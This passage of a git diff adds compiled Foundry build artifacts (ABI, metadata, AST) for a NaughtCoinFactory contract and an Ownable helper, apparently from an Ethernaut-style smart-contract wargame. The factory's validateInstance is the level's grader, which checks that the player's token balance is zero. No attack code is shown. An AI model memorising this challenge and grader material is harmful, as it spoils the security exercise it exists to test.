icense":"MIT"},"src/levels/NaughtCoin.sol":{"keccak256":"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6","urls":["bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862","dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF"],"license":"MIT"},"src/levels/NaughtCoinFactory.sol":{"keccak256":"0x7146a3ec6a6e204caf33b721e814b3e1a3691365931e7753feda417709854ed8","urls":["bzz-raw://16ccc02087f857f8dd2ff7d51adb718d52981ed8fcb20ae04e5bae211b46dadb","dweb:/ipfs/QmYm2NTpzwPVoxksq8n33nVU49jfVCbicB5MfinMPqr36s"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/NaughtCoinFactory.sol","id":53963,"exportedSymbols":{"Context":[48281],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Level":[55508],"NaughtCoin":[53912],"NaughtCoinFactory":[53962],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:485:96","nodes":[{"id":53914,"nodeType":"PragmaDirective","src":"33:23:96","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53915,"nodeType":"ImportDirective","src":"58:26:96","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53963,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53916,"nodeType":"ImportDirective","src":"85:26:96","nodes":[],"absolutePath":"src/levels/NaughtCoin.sol","file":"./NaughtCoin.sol","nameLocation":"-1:-1:-1","scope":53963,"sourceUnit":53913,"symbolAliases":[],"unitAlias":""},{"id":53962,"nodeType":"ContractDefinition","src":"113:404:96","nodes":[{"id":53936,"nodeType":"FunctionDefinition","src":"155:139:96","nodes":[],"body":{"id":53935,"nodeType":"Block","src":"238:56:96","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":53931,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53920,"src":"278:7:96","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"263:14:96","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_NaughtCoin_$53912_$","typeString":"function (address) returns (contract NaughtCoin)"},"typeName":{"id":53929,"nodeType":"UserDefinedTypeName","pathNode":{"id":53928,"name":"NaughtCoin","nameLocations":["267:10:96"],"nodeType":"IdentifierPath","referencedDeclaration":53912,"src":"267:10:96"},"referencedDeclaration":53912,"src":"267:10:96","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}}},"id":53932,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"263:23:96","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}],"id":53927,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"255:7:96","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53926,"name":"address","nodeType":"ElementaryTypeName","src":"255:7:96","typeDescriptions":{}}},"id":53933,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"255:32:96","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53925,"id":53934,"nodeType":"Return","src":"248:39:96"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"164:14:96","overrides":{"id":53922,"nodeType":"OverrideSpecifier","overrides":[],"src":"211:8:96"},"parameters":{"id":53921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53920,"mutability":"mutable","name":"_player","nameLocation":"187:7:96","nodeType":"VariableDeclaration","scope":53936,"src":"179:15:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53919,"name":"address","nodeType":"ElementaryTypeName","src":"179:7:96","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"178:17:96"},"returnParameters":{"id":53925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53924,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53936,"src":"229:7:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53923,"name":"address","nodeType":"ElementaryTypeName","src":"229:7:96","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"228:9:96"},"scope":53962,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53961,"nodeType":"FunctionDefinition","src":"300:215:96","nodes":[],"body":{"id":53960,"nodeType":"Block","src":"406:109:96","nodes":[],"statements":[{"assignments":[53948],"declarations":[{"constant":false,"id":53948,"mutability":"mutable","name":"instance","nameLocation":"427:8:96","nodeType":"VariableDeclaration","scope":53960,"src":"416:19:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"},"typeName":{"id":53947,"nodeType":"UserDefinedTypeName","pathNode":{"id":53946,"name":"NaughtCoin","nameLocations":["416:10:96"],"nodeType":"IdentifierPath","referencedDeclaration":53912,"src":"416:10:96"},"referencedDeclaration":53912,"src":"416:10:96","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"visibility":"internal"}],"id":53952,"initialValue":{"arguments":[{"id":53950,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53938,"src":"449:9:96","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53949,"name":"NaughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53912,"src":"438:10:96","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_NaughtCoin_$53912_$","typeString":"type(contract NaughtCoin)"}},"id":53951,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"438:21:96","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"nodeType":"VariableDeclarationStatement","src":"416:43:96"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":53955,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53940,"src":"495:7:96","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53953,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53948,"src":"476:8:96","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":53954,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"485:9:96","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"476:18:96","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53956,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"476:27:96","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":53957,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"507:1:96","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"476:32:96","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53945,"id":53959,"nodeType":"Return","src":"469:39:96"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"309:16:96","overrides":{"id":53942,"nodeType":"OverrideSpecifier","overrides":[],"src":"382:8:96"},"parameters":{"id":53941,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53938,"mutability":"mutable","name":"_instance","nameLocation":"342:9:96","nodeType":"VariableDeclaration","scope":53961,"src":"326:25:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53937,"name":"address","nodeType":"ElementaryTypeName","src":"326:15:96","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53940,"mutability":"mutable","name":"_player","nameLocation":"361:7:96","nodeType":"VariableDeclaration","scope":53961,"src":"353:15:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53939,"name":"address","nodeType":"ElementaryTypeName","src":"353:7:96","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"325:44:96"},"returnParameters":{"id":53945,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53944,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53961,"src":"400:4:96","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53943,"name":"bool","nodeType":"ElementaryTypeName","src":"400:4:96","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"399:6:96"},"scope":53962,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53917,"name":"Level","nameLocations":["143:5:96"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"143:5:96"},"id":53918,"nodeType":"InheritanceSpecifier","src":"143:5:96"}],"canonicalName":"NaughtCoinFactory","contractDependencies":[53912],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53962,55508,46700,48281],"name":"NaughtCoinFactory","nameLocation":"122:17:96","scope":53963,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":96} \ No newline at end of file diff --git a/contracts/out/Ownable-05.sol/Ownable.json b/contracts/out/Ownable-05.sol/Ownable.json new file mode 100644 index 000000000..641b1e20b --- /dev/null +++ b/contracts/out/Ownable-05.sol/Ownable.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"isOwner","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"isOwner()":"8f32d59b","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.5.17+commit.d19bba13\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"constant\":true,\"inputs\":[],\"name\":\"isOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. * This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner.\",\"methods\":{\"constructor\":{\"details\":\"Initializes the contract setting the deployer as the initial owner.\"},\"isOwner()\":{\"details\":\"Returns true if the caller is the current owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"src/helpers/Ownable-05.sol\":\"Ownable\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/helpers/Ownable-05.sol\":{\"keccak256\":\"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0\",\"urls\":[\"bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249\",\"dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.5.17+commit.d19bba13"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"methods":{"constructor":{"details":"Initializes the contract setting the deployer as the initial owner."},"isOwner()":{"details":"Returns true if the caller is the current owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. * > Note: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}}},"userdoc":{"methods":{}}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"compilationTarget":{"src/helpers/Ownable-05.sol":"Ownable"},"evmVersion":"istanbul","libraries":{}},"sources":{"src/helpers/Ownable-05.sol":{"keccak256":"0x70a86a5745daee7aee825ad9ee00b36c8dd437226fbd2f76540ef611976d54f0","urls":["bzz-raw://90abb912644e375f627ab63ae9ec91ab1779b0b5f87ac17f308da44da99a5249","dweb:/ipfs/QmURy3o3pbax3uiJiLA4mcxYwH2mYSWH23hHCThbnAV3Ci"],"license":null}},"version":1},"ast":{"absolutePath":"src/helpers/Ownable-05.sol","id":172,"exportedSymbols":{"Ownable":[171]},"nodeType":"SourceUnit","src":"0:2266:1","nodes":[{"id":69,"nodeType":"PragmaDirective","src":"0:23:1","nodes":[],"literals":["solidity","^","0.5",".0"]},{"id":171,"nodeType":"ContractDefinition","src":"386:1879:1","nodes":[{"id":71,"nodeType":"VariableDeclaration","src":"409:22:1","nodes":[],"constant":false,"name":"_owner","scope":171,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":70,"name":"address","nodeType":"ElementaryTypeName","src":"409:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"private"},{"id":77,"nodeType":"EventDefinition","src":"438:84:1","nodes":[],"anonymous":false,"documentation":null,"name":"OwnershipTransferred","parameters":{"id":76,"nodeType":"ParameterList","parameters":[{"constant":false,"id":73,"indexed":true,"name":"previousOwner","nodeType":"VariableDeclaration","scope":77,"src":"465:29:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":72,"name":"address","nodeType":"ElementaryTypeName","src":"465:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":75,"indexed":true,"name":"newOwner","nodeType":"VariableDeclaration","scope":77,"src":"496:24:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":74,"name":"address","nodeType":"ElementaryTypeName","src":"496:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"464:57:1"}},{"id":86,"nodeType":"FunctionDefinition","src":"624:59:1","nodes":[],"body":{"id":85,"nodeType":"Block","src":"647:36:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":83,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":80,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"657:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":81,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":321,"src":"666:3:1","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":82,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"666:10:1","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"657:19:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":84,"nodeType":"ExpressionStatement","src":"657:19:1"}]},"documentation":"@dev Initializes the contract setting the deployer as the initial owner.","implemented":true,"kind":"constructor","modifiers":[],"name":"","parameters":{"id":78,"nodeType":"ParameterList","parameters":[],"src":"635:2:1"},"returnParameters":{"id":79,"nodeType":"ParameterList","parameters":[],"src":"647:0:1"},"scope":171,"stateMutability":"nonpayable","superFunction":null,"visibility":"internal"},{"id":94,"nodeType":"FunctionDefinition","src":"759:77:1","nodes":[],"body":{"id":93,"nodeType":"Block","src":"806:30:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":91,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"823:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":90,"id":92,"nodeType":"Return","src":"816:13:1"}]},"documentation":"@dev Returns the address of the current owner.","implemented":true,"kind":"function","modifiers":[],"name":"owner","parameters":{"id":87,"nodeType":"ParameterList","parameters":[],"src":"773:2:1"},"returnParameters":{"id":90,"nodeType":"ParameterList","parameters":[{"constant":false,"id":89,"name":"","nodeType":"VariableDeclaration","scope":94,"src":"797:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":88,"name":"address","nodeType":"ElementaryTypeName","src":"797:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"796:9:1"},"scope":171,"stateMutability":"view","superFunction":null,"visibility":"public"},{"id":104,"nodeType":"ModifierDefinition","src":"924:103:1","nodes":[],"body":{"id":103,"nodeType":"Block","src":"945:82:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":97,"name":"isOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":115,"src":"963:7:1","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":98,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"963:9:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572","id":99,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"974:34:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""},"value":"Ownable: caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""}],"id":96,"name":"require","nodeType":"Identifier","overloadedDeclarations":[324,325],"referencedDeclaration":325,"src":"955:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":100,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"955:54:1","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":101,"nodeType":"ExpressionStatement","src":"955:54:1"},{"id":102,"nodeType":"PlaceholderStatement","src":"1019:1:1"}]},"documentation":"@dev Throws if called by any account other than the owner.","name":"onlyOwner","parameters":{"id":95,"nodeType":"ParameterList","parameters":[],"src":"942:2:1"},"visibility":"internal"},{"id":115,"nodeType":"FunctionDefinition","src":"1110:90:1","nodes":[],"body":{"id":114,"nodeType":"Block","src":"1156:44:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":112,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":109,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":321,"src":"1173:3:1","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"1173:10:1","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":111,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"1187:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1173:20:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":108,"id":113,"nodeType":"Return","src":"1166:27:1"}]},"documentation":"@dev Returns true if the caller is the current owner.","implemented":true,"kind":"function","modifiers":[],"name":"isOwner","parameters":{"id":105,"nodeType":"ParameterList","parameters":[],"src":"1126:2:1"},"returnParameters":{"id":108,"nodeType":"ParameterList","parameters":[{"constant":false,"id":107,"name":"","nodeType":"VariableDeclaration","scope":115,"src":"1150:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":106,"name":"bool","nodeType":"ElementaryTypeName","src":"1150:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"1149:6:1"},"scope":171,"stateMutability":"view","superFunction":null,"visibility":"public"},{"id":134,"nodeType":"FunctionDefinition","src":"1544:137:1","nodes":[],"body":{"id":133,"nodeType":"Block","src":"1590:91:1","nodes":[],"statements":[{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":121,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"1626:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":123,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1642:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":122,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1634:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":"address"},"id":124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1634:10:1","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":120,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":77,"src":"1605:20:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1605:40:1","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":126,"nodeType":"EmitStatement","src":"1600:45:1"},{"expression":{"argumentTypes":null,"id":131,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":127,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"1655:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":129,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1672:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 